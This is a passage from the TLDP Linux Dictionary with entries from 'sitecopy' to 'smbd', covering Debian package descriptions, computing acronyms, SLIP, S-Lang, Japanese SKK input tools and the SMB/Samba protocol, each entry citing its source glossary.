Still In The Dark (slang) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sitecopy

A program for managing a WWW site via FTP, DAV or HTTP sitecopy is for copying locally stored websites to remote ftp servers. With a single command, the program will synchronize a set of local files to a remote server by performing uploads and remote deletes as required. The aim is to remove the hassle of uploading and deleting individual files using an FTP client. sitecopy will also optionally try to spot files you move locally, and move them remotely. sitecopy is designed to not care about what is actually on the remote server − it simply keeps a record of what it THINKS is in on the remote server, and works from that. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sitescooper
: retrieves stories from websites for your Palm Pilot Sitescooper automatically retrieves the stories from several news websites, trims off extraneous HTML, and converts them into formats you can read on your Palm computing device for later reading on−the−move. It maintains a cache, and will avoid stories you've already read. It can handle 1−page sites, 1−page with diffing, 2−level and 3−level sites, and it's very easy to add a new site to its list. Even if you don't have a Palm handheld, it's still handy for simple website−to−text conversion. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sitescooper−sites
: retrieves stories from websites for your Palm Pilot Sitescooper automatically retrieves the stories from several news websites, trims off extraneous HTML, and converts them into formats you can read on your Palm computing device for later reading on−the−move. It maintains a cache, and will avoid stories you've already read. It can handle 1−page sites, 1−page with diffing, 2−level and 3−level sites, and it's very easy to add a new site to its list. Even if you don't have a Palm handheld, it's still handy for simple website−to−text conversion. This package contains sample sites files. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIWPS
: Simple Internet White Pages Service (Internet) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIZ
: Sparkassen−Informatik−Zentrum (org., banking) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

size
: list section sizes and total size. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SJF
: Shortest Job First From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sjog
: A program to use the "Jog Dial" on Sony Vaio Laptops S−Jog is a program that uses the Sony Vaio laptops Jog Wheel to do various things: * Launch applications * Adjust screen brightness * Adjust volume * Act like a mousewheel S−Jog pops up when you click the Jog Wheel then disappears after 3 seconds of idle time. The mousewheel feature is turned on when S−Jog is hidden. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sketch
: Interactive vector drawing program for X11 Sketch is an interactive vector drawing program, comparable to CorelDraw. It currently support drawing primitives like rectangles, ellipses, Bezier curves, bitmap and EPS images and text. All objects can be rotated, scaled and sheared. Primitives can have fill and line properties. A number of special effects like blend groups, text to Bezier and text along a path are provided. Sketch supports an unlimited undo history. Import of XFig, AI, WMF, CMX and SVG files. Exports to EPS, AI and SVG. Sketch is written in Python with an Tkinter GUI. User scripts can be written in Python. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SKIA
: Secure Key Issuing Authority (TESS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

skill

report process status From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SKIP

Simple Key−management for Internet Protocols (Internet, cryptography, Sun) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

skk

Simple Kana to Kanji conversion program SKK is a very fast and efficient Japanese input system written entirely in emacs lisp. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

skkdic

SKK Dictionary (SKK−JISYO.L) This package contains SKK−JISYO.L. SKK−JISYO.[SM] and other dictionaries are provided in skkdic−extra. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

skkfep

skk Japanese input method front end skk Japanese input method front end. It's usable on console. (not XIM) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

skkinput

X input method for Japanese for SKK method. skkinput is application to input Japanese for X application using protocols such as kinput2/XIM/Ximp protocol. skkinput communicates with skkserv using Berkeley Socket. Without skkserv, local dictionary files is used. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

skksearch

A SKK dictionary server handling multiple dictionaries. Skksearch is an alternative to skkserv. Unlike skkserv, it can deal with more than one dictionary. In addition, it supports three types of dictionaries, that is, plain, Berkeley DB 2.x, and cdb format. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

skkserv

SKK Dictionary server Skkserv is a dictionary server for SKK. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

skktools

SKK dictionary maintenance tools This package provides tools to maintain SKK dictionaries. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Skolelinux

Skolelinux is a Norwegian distribution for educational use, as a server with thin clients. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

skyutils1

Many useful functions for the web like smssend This library contains functions about chained lists, string manipulation, socket and HTTP protocol. It's used in gsmssend and smssend. This package contains the files needed for running such applications. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sl

Correct you if you type `sl' by mistake Sl is a program that can display animations aimed to correct you if you type 'sl' by mistake. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sl2h

simple latex to HTML converter From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLA

Service Level Agreement From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Slackware Linux

The Slackware project is volunteer based and well established, with a loyal following. Supports x86 only. Slackware 9.0 was released March 19, 2003. From LWN Distribution List

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Slackware Live CD

Slackware Live CD is a bootable CD containing a Linux operating system. It runs Linux directly from CDROM without installing. The live CD described here is based on Slackware Linux distribution and is downloadable as an ISO. There are also all the scripts and source code needed to build your own live CD. Version 2.9.0.16 was released June 1, 2003. A CD−based distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLAM

Simulation Language for Alternative Modeling From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slang

S−lang is a C−like programming language, designed to be embedded in programs. It provides standard screen handling functions and can provide access to program internals, allowing program users to create customized procedures. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slang1

The S−Lang programming library − runtime version. S−Lang is a C programmer's library that includes routines for the rapid development of sophisticated, user friendly, multi−platform applications. This package contains only the shared library libslang.so.* and copyright information. It is only necessary for programs that use this library (such as jed and slrn). If you plan on doing development with S−Lang, you will need the companion −dev package as well. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slang1−ja

The S−Lang programming library with Japanese patch, runtime version. S−Lang is a C programmer's library that includes routines for the rapid development of sophisticated, user friendly, multi−platform applications. This package contains only the shared library libslang−ja.so.* and copyright information. It is only necessary for programs that use this library (such as jed and slrn). If you plan on doing development with S−Lang, you will need the companion −dev package as well. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slang1−pic

The S−Lang programming library, shared library subset kit. This is used to develop subsets of the S−Lang shared libraries for use on custom installation floppies and in embedded systems. Unless you're making one of those, you won't need this package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slang1−utf8−pic

The S−Lang programming library, shared library subset with utf8 support. This is used to develop subsets of the S−Lang shared libraries for use on custom installation floppies and in embedded systems. Unless you're making one of those, you won't need this package. This packages has wide character support. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slang1a−utf8

The S−Lang programming library with utf8 support S−Lang is a C programmer's library that includes routines for the rapid development of sophisticated, user friendly, multi−platform applications. This package contains only the shared library libslang.so.* and copyright information. It is only necessary for programs that use this library (such as jed and slrn). If you plan on doing development with S−Lang, you will need the companion −dev package as well. This packages has wide character support. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slapd

OpenLDAP server (slapd). This is the OpenLDAP (Lightweight Directory Access Protocol) standalone server (slapd). The server can be used to provide a standalone directory service and also includes the slurpd replication server and centipede. From Debian 3.0r0 APT

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slash

The / character Linux uses in path names. A / by itself, or at the beginning of a pathname, means the root directory of the file system. Slashes are used also between one directory name and the next, and between the directory name and the filename in long path names. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Slash (/)

The symbol used in file pathnames, instead of the backslash (\) used in the DOS/Windows and OS/2 operating systems. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slashem

A variant of Nethack Super Lotsa Added Stuff Hack − Extended Magic (SLASH'EM) is a role−playing game where you control a single character. The interface and gameplay are similar in style to Rogue, ADOM, Angband and, of course, Nethack. You control the actions through the keyboard and view the world from an overhead perspective. The problem: The Amulet of Yendor has been stolen. Not only that but it appears that the Wizard of Yendor (not a nice person), who took the amulet, is hiding in the Dungeons of Doom (not a friendly place). Enhancements over Nethack includes: − New roles − New skill system − Riding pets − New special levels From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slatec

numerical computation library slatec is a fortran library of over 1400 routines for numerical tasks. Some of the subjects covered are: Arithmetic, error analysis, Elementary and special functions, Linear Algebra, Interpolation, Solution of nonlinear equations, Optimization, Differentiation, integration, Differential and integral equations, Integral transforms, Statistics, probability, and Data handling. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slattach

attach a network interface to a serial line From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slave

In hard drive technology, a non−bootable drive that is used mostly for system and file storage; is controlled by the master drive. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slay

kills all of the user's processes Slay provides you with a way to quickly get rid of all processes selected user owns. Very useful if you want to harm somebody. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLC

Service Level Contract From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLC

Simple Line Code [modulation] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLD

Second Level DOMAIN (Internet, ICANN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLDC

Synchronous Data Link Control From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLDRAM

SyncLink Dynamic Random Access Memory (DRAM, RAM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLE

Screen List Editing From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLED
Single Large Expensive Drive From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sleep
delay for a specified amount of time From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sleep
Pertaining to a UNIX process, to suspend execution until some event takes place or for a specific period of time. Processes automatically sleep while waiting for results from peripherals. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sleep
Sleep for the specified number of seconds From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sleepd
puts a laptop to sleep during inactivity This is a daemon to force laptops to enter apm sleep after some period of inactivity. This is useful if your laptop does not automatically go to sleep when you aren't using it, and, like me, you often forget to shut it off. The daemon can also be configured to put a laptop to sleep if its battery nearly runs out of power. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLFP
Shared Frame Buffer Interconnect (ATI, Intel) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLI
Scan Line Interleave (3D) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLI mode
SLI means "Scanline Interleave"In this mode, two Pixelfx are connected and render in alternate turns, one handling odd, the other handling even scanlines of the actual output. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slib
Portable Scheme library. SLIB is a portable scheme library meant to provide compatibility and utility functions for all standard scheme implementations. SLIB includes initialization files for Chez, ELK 2.1, GAMBIT, MacScheme, MITScheme, scheme−>C, Scheme48, T3.1, and VSCM. SCM also supports SLIB. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLIC
Serial Link and Interrupt Controller (TSMP, Wyse) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLIC
Subscriber Line Interface Circuit (PBX) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slice
Extract out pre−defined slices of an ASCII file The slice program reads an input file and divide its prepared ASCII contents into possibly overlapping slices. These slices are determined by enclosing blocks which are defined by begin and end delimiters which have to be already in the file. The final output gets calculated by a slice term consisting of slice names, set theory operators and optional round brackets. For more information, please visit http://www.engelschall.com/sw/slice/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLIP
Acronym for Serial Line Internet Protocol, SLIP is a serial packet protocol used to connect a remote computer to the Internet using modems or direct serial lines, SLIP requires an Internet provider with special SLIP accounts or a shell account a SLIP emulator such as TIA(tm) or SLiRP. From KADOWKEV http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLIP

see serial line internet protocol (SLIP). From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLIP

Serial Line Internet Protocol (Internet, RFC 1055), "SL/IP" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLIP

Serial Line Internet Protocol − A communication method that allows a personal computer to connect directly to the Internet using a standard telephone line. It preceded PPP as the means through which access to the Internet could be achieved. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLIP (Serial Line Internet Protocol)

A standard for using a regular telephone line (a serial line) and a modem to connect a computer as a realInternet site. SLIP has largely been replaced by PPP. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLIP (Serial Line Internet Protocol)

Allows a computer to connect to the Internet using a modem and telephone line−−similar to PPP. Users then navigate the Internet using software on their own computer. This is in contrast to using a dialup teminal connection, where a user is forced to navigate the Net using a text−based set of menus. From Glossary of Distance Education and Internet Terminology http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLIP (Serial Line Internet Protocol)

Predecessor of PPP. Allows a user to connect to the Internet directly over a high−speed modem. From Glossary of Distance Education and Internet Terminology http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLIP (Serial Linux Internet Protocol)

One of two standards specifying how a workstation or personal computers can link to the Internet by means of a dialup connection (the other standard is the Point−to−Point Protocol [PPP] . SLIP defines the transport of data packets through an asynchronous telephone line. Therefore, SLIP enables computers not directly connected to local area networks (LANs) to be fully connected to the Internet. This mode of connectivity is far superior to shell access (a dialup, text−only account on a UNIX computer) because it enables you to use the Internet tools of your choice (such as a graphical Web browser to run more than one Internet application at a time and to download data directly to your computer, with no intermediate storage required. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slirp

SLIP/PPP emulator using a dial up shell account Slirp is a TCP/IP emulator which turns an ordinary shell account into a (C)SLIP/PPP account. This allows shell users to use all the funky Internet applications like Netscape, Mosaic, CUSeeMe, etc. Please note that maybe your ISP really doesn't like you using slirp, because they want to charge more for a ppp connection, so use it at your own risk. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slmon

A simple S−Lang based system performance monitor SLmon is a tool for monitoring system's performance. It displays results using a nice and readable text−based UI, providing either figures or a graph. It currently monitors: − CPU load (SMP is supported) − memory and swap load − uptime, date and time − number of logged in users From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLMR

Silly Little Mail Reader From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slocate

a secure locate replacement This locate should show only the files on your system that you have access to. Note: If your computer is not up 24/7 you should consider installing anacron since the database is only updated once a night. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slocate

Slocate is a security−enhanced version of locate. Just like locate, slocate searches through a central database (which is updated nightly) for files that match a given pattern. Slocate allows you to quickly find files anywhere on your system. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sloccount

Programs for counting physical source lines of code (SLOC) SLOCCount (pronounced "sloc−count") is a suite of programs for counting physical source lines of code (SLOC) in potentially large software systems (thus, SLOCCount is a "software metrics tool" or "software measurement tool"). SLOCCount can count physical SLOC for a wide number of languages; listed alphabetically, they are: Ada, Assembly, awk, Bourne shell, C, C++, C shell, Expect, Fortran, Java, lex/flex, LISP (including Scheme), Modula3, Objective−C, Pascal, Perl, PHP, Python, sed, TCL, and Yacc. SLOCCount can automatically determine if a file is a source code file or not, and if so, which language it's written in. As a result, you can analyze large systems completely automatically. SLOCCount also includes some report−generating tools to collect the data generated and present it in several different formats. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slogin

OpenSSH SSH client (remote login program) From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLP

Service Location Protocol (IP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLP

Service Logic Program (IN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLP

Symposium on Logic Programming (conference) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slpd

OpenSLP Server (slpd) SLPv2 (RFC 2608) is a IETF standard protocol that is used to discover/advertise services on the network. You can use SLP for anything from locating a suitable printer on your floor to discovering what LDAP directories are available in your organization. This package provides slpd, the OpenSLP daemon, which provides an SLPv2 compliant Service Agent and Directory Agent. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slpim

Personal Information Manager for the console slpim is a Personal Information Manager. It can keep an addressbook with pre−defined fields. slpim can export the addressbook database to many formats, like mutt−alias file, html file, pine format, plain−text, etc. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLQ

Super Letter Quality [fonts] (Star) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLR

Scalable Linear Recording (Streamer, Tandberg) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slrn

threaded news reader (fast for slow links) Slrn is a threaded news reader with color support that is designed to read news fast over slow links. Slrn can read news via NNTP or directly from a local news spool. Slrn can be heavily customized from its rc file, and even includes a built in macro language. There is also support for killfiles and article scoring. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slrn−ja
: threaded news reader (fast for slow links), Japanese version Slrn is a threaded news reader with color support that is designed to read news fast over slow links. Slrn can read news via NNTP or directly from a local news spool. Slrn also has GroupLens support. Slrn can be heavily customized from its rc file, and even includes a built in macro language. There is also support for killfiles and article scoring. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slrnface
: Shows X−Faces from slrn in an X11 terminal emulator The slrnface helper utility can be used from the slrn news reader to show X−Faces in Usenet articles when slrn is run from an X11 terminal emulator. It is not intended to be run directly from the command line. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slrnpull
: pulls a small newsfeed from an NNTP server Slrnpull pulls a small newsfeed from an NNTP server, to a local news spool directory. The news spool can be used by news readers (such as slrn), which can read a local news spool without a NNTP server. Slrnpull also has the ability to killfile articles so that they will not be downloaded from the server. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLS
: Softlanding Linux System (Linux) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLS
: Storage Library System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

slsc
: S−Language port of the classic SC spreadsheet The slsc spreadsheet is a much modified version of the public domain spreadsheet sc, posted several years ago by Mark Weiser as vc and originally by James Gosling. slsc is based on Robert Bond's sc 6.1 whereas the latest version of sc is 6.21. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLSI
: Super Large Scale Integration From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLT
: Solid−Logic Technology From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLU
: Secondary Logical Unit From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SLU
: Serial Line Unit From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SM
: Smart Media [card] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SM
: Sparse Mode (PIM, Multicast) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMA
: Shared Memory Architecture From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMA

Standardization Management Activity From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMAE

System Management Application Entity (OSI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMAF

Service Management Agent Function (IN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smail

Electronic mail transport system. Smail is a mail transport agent (MTA). An MTA is the innards of the mail system − it takes messages from user−friendly mailer programs and arranges for them to be delivered locally or passed on to other systems as required. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

small computer systems interface (SCSI)

A high−speed interface that can connect to computer devices such as hard drives, CD−ROM drives, and tape drives. SCSI is pronounced as "Scuzzy." From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Small Linux

A Small Kernel Project; Small Linux has been used (console based) on a 386 laptop with 2 meg of ram and a 40 meg hard drive. Small Linux 0.8.1 is the current version, released December 6, 2001. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smalledit

Stripped down version of Cooledit. Only a few of cooledit's commandline options are supported by smalledit. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smalleiffel

The GNU Eiffel Compiler SmallEiffel is a compiler for the Eiffel language, which is a pure object−oriented language providing strong type−checking and based on the concept of 'design by contract'. It allows multiple inheritance and does it well. Design−by−contract means that a class guarantees that certain conditions will always hold, and that a routine guarantees certain results given certain specified inputs. The rules for inheritance mean that contracts can be relied on even when classes are reused through inheritance. The Eiffel language is described and defined in the book "Eiffel: The Language" by Bertrand Meyer. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SmallTalk

A high−level declarative programming language and programming environment that treates computations as objects that send messages to one another. SmallTalk encourages the programmer to define objects in terms relevant to the intended application. The language is highly extensible because it enables you to create objects, which can be reused, quite easily. SmallTalk inspired HyperTalk, the software command language of HyperTalk, an application provided with every Macintosh produced since 1987. In this new guise, SmallTalk fulfills its goal of making programming more accessible; tens of thousand of Macintosh users have learned how to program in HyperTalk. See object−orientated−programming language. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMAP

System Management Application Process (OSI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMART

Self−Monitoring, Analysis and Reporting Technology (HDD, IDE, Conner, IBM, Quantum, Seagate, WD), "S.M.A.R.T." From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smart card

A smart−card looks like a credit−card but contains an embedded microprocessor. The gold contact pad with roughly 8 contact points is visible on the outside of the card. As of the year 2000, typical circuits consisted of an 8−bit microprocessor running at 5MHz, 1K of RAM, and 16K of ROM with a 9.6−kbps half−duplex interface. (Much of the design of AES focused on being able to run within these stringent requirements). Key point: Whereas the data on the magnetic strip of a credit−card can be easily read or changed, smart−cards are designed to be tamper proof. Example: All Germans have a smart−card for health insurance. As of 2001, smart−cards have been popular in Europe for about a decade, but are still mostly unknown in the United States. Example: The tamper−proof features make it popular for authentication in both physical security and infosec uses. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smart terminal

n. 1. A terminal that has enough computing capability to render graphics or to offload some kind of front−end processing from the computer it talks to. The development of workstations and personal computers has made this term and the product it describes semi−obsolescent, but one may still hear variants of the phrase `act like a smart terminal' used to describe the behavior of workstations or PCs with respect to programs that execute almost entirely out of a remote server's storage, using local devices as displays. 2. obs. Any terminal with an addressable cursor; the opposite of a glass tty. Today, a terminal with merely an addressable cursor, but with none of the more−powerful features mentioned in sense 1, is called a dumb terminal. There is a classic quote from Rob Pike (inventor of the blit terminal): "A smart terminal is not a smartass terminal, but rather a terminal you can educate." This illustrates a common design problem: The attempt to make peripherals (or anything else) intelligent sometimes results in finicky, rigid `special features' that become just so much dead weight if you try to use the device in any way the designer didn't anticipate. Flexibility and programmability, on the other hand, are really smart. Compare hook. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smartcard

A smartcard utility for Linux `smartcard' allows you to control a smart card reader from the command line. Currently, it supports just a few basic commands which only work on plain I2C memory cards. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smartlist

Versatile and Intelligent List Processor SmartList is a mailing list manager built on top of the procmail mail processing package. Some features: * Enough intelligence to overcome the ignorance of some subscribers (will direct subscribe and unsubscribe requests away from the regular list and automatically onto the −request address). * No hardwired format for (un)subscribe requests (i.e. new subscribers need not be educated, unsubscribing users do not need to remember any particular syntax). *Intelligent* automatic removal of addresses from the list that cause too many bounces. * Duplicate submissions are eliminated automatically. * You can set up a mailing list to function as a standalone mail archive server. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smartsuite

SMART suite − SMART utility suite for Linux SMART suite controls and monitors storage devices running the Self−Monitoring, Analysis and Reporting Technology System (S.M.A.R.T.) build into ATA and SCSI Hard Drives. This is used to check the reliability of the hard drive and predict drive failures. The suite contains two utilities: smartctl is a command line utility designed to perform simple smart tasks; smartd is a daemon that periodically monitors smart status and reports errors to syslog. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMASE

System Management Application Service Element (OSI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMB

Introduction This is the SMB HOWTO. This document describes how to use the Server Message Block (SMB) protocol, also called the Session Message Block, NetBIOS or LanManager protocol, with Linux using Samba. Although this document is Linux−centric, Samba runs on most Unix−like operating systems. This document is maintained by David Wood (dwood@plugged.net.au). Additions, modifications or corrections may be mailed there for inclusion in the next release. Much more Samba documentation is available at the Samba Web site, located at http://www.samba.org/. There is a tremendous amount of information there; please have a look before asking for help! You also might try the comp.protocols.smb newsgroup. The SMB protocol is used by Microsoft Windows 3.11, NT and 95/98 to share disks and printers. Using the Samba suite of tools by Andrew Tridgell (Andrew.Tridgell@anu.edu.au), UNIX (including Linux) machines can share disk and printers with Windows hosts. The smbfs tools by Paal−Kr. Engstad (engstad@intermetrics.com) and Volker Lendecke (lendecke@namu01.gwdg.de) enable Unix machines to mount SMB shares from Windows or Samba hosts. There are four basic things that one can do with Samba: Share a Linux drive with Windows machines. Access an SMB share with Linux machines. Share a Linux printer with Windows machines. Share a Windows printer with Linux machines. All of these are covered in this document, plus a few other odds and ends. Disclaimer: The procedures and scripts either work for the author or have been reported to work by the people that provided them. Different configurations may not work with the information given here. If you encounter such a situation, please e−mail the author with suggestions for improvement in this document. Please note that for Windows 3.x machines to access SMB shares, they must have a TCP/IP stack and the Win32s DLLs. Both of these are available on Microsoft's Web site (http://www.microsoft.com). As of the writing of this version of the HOWTO, Microsoft are reportedly requiring a subscription to the Microsoft Software Developers Network (MSDN) to download the TCP/IP−32 stack for Windows 3.x from their Web site. Since this software used to be free, many older copies are in existance and may be acquired from friends and user group contacts. From SMB−HOWTO http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMB

Server Message Block [protocol] (IBM, Intel, MS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMB

Small Medium Business and enterprise [market] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMB

SMB is the protocol used by Microsoft for file and print sharing. SMB stands for Server Message Block, though that doesn't really mean anything. SMB runs on top of NetBIOS, though in Win2k it can bypass NetBIOS. History: SMB was originally developed for DOS machines. It was later upgraded so that OS/2 machines could act as servers for DOS machines. The protocol was later upgraded for Windows (Wfw = Windows for Workgroups) and Windows NT. Still later upgrades have been added for Windows 2000. This constant evolution and need for backwards compatibility has led to many security holes within the protocol. The most severe is the need for "LAN Manager" authentication. Key point: SMB is an application layer protocol and can run over many different transports, including TCP/IP. A common problem is that home−users enable SMB over TCP/IP, allowing anybody on the Internet to access their hard−disk. They should instead install a local−only transport such as NetBEUI for SMB, which will allow file access among local machines, but not remote machines across the Internet. Key point: SMB−sniffers can read the encrypted password info off the wire and send them to password crackers. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMB

Standards Managing Board (PIMA, I3C) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMB

System Management Bus From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smb2www

A Windows Network client that is accessible through a web browser. With this package you will be able to browse a Windows Network using a standard web browser. It is based upon the samba package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMBA

Shared Memory Buffer Architecture (Intel) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smbcacls

Set or get ACLs on an NT file or directory names From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smbclient

A LanManager like simple client for Unix. The Samba software suite is a collection of programs that implements the SMB protocol for unix systems, allowing you to serve files and printers to Windows, NT, OS/2 and DOS clients. This protocol is sometimes also referred to as the LanManager or NetBIOS protocol. This package contains some client components of the Samba suite. In particular it includes the command line utilities smbclient, smbtar, and smbspool. If you want to mount shares exported from Microsoft Windows machines or a Samba server you must install the smbfs package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smbclient

ftp−like client to access SMB/CIFS resources on servers From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smbcontrol

send messages to smbd or nmbd processes From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smbd

